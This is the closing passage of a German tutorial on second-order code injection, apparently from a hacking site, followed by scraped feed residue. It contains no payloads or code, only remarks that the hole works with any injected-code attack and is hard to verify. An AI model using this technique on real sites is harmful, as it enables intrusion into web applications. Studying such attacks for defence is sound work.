betreffende CMS zu laden und es Lokal zu testen. Auch hierbei handelt es sich um
ein Glücksspiel ;>
Diese Lücke ist praktisch mit allen Attacken nutzbar, die Code einschleusen.

Fazit: Die Angriffsmöglichkeit ist nicht auf ihre Funktionalität direkt überprüfbar,
allerdings ein kleiner Lichtblick, wenn der Rest der Seite sicher scheint.

Ich hoffe das Tutorial hat euch gefallen

Autor: Lolly

Quelle: creative-coding.us

Suchanfragen zu diesem Artikel:

Verwandte Beiträge

]]> http://tut0r1al.back2hack.cc/xss/second-order-code-injection/feed/ 0 http://tut0r1al.back2hack.cc/xss/second-order-code-injection/ nonadult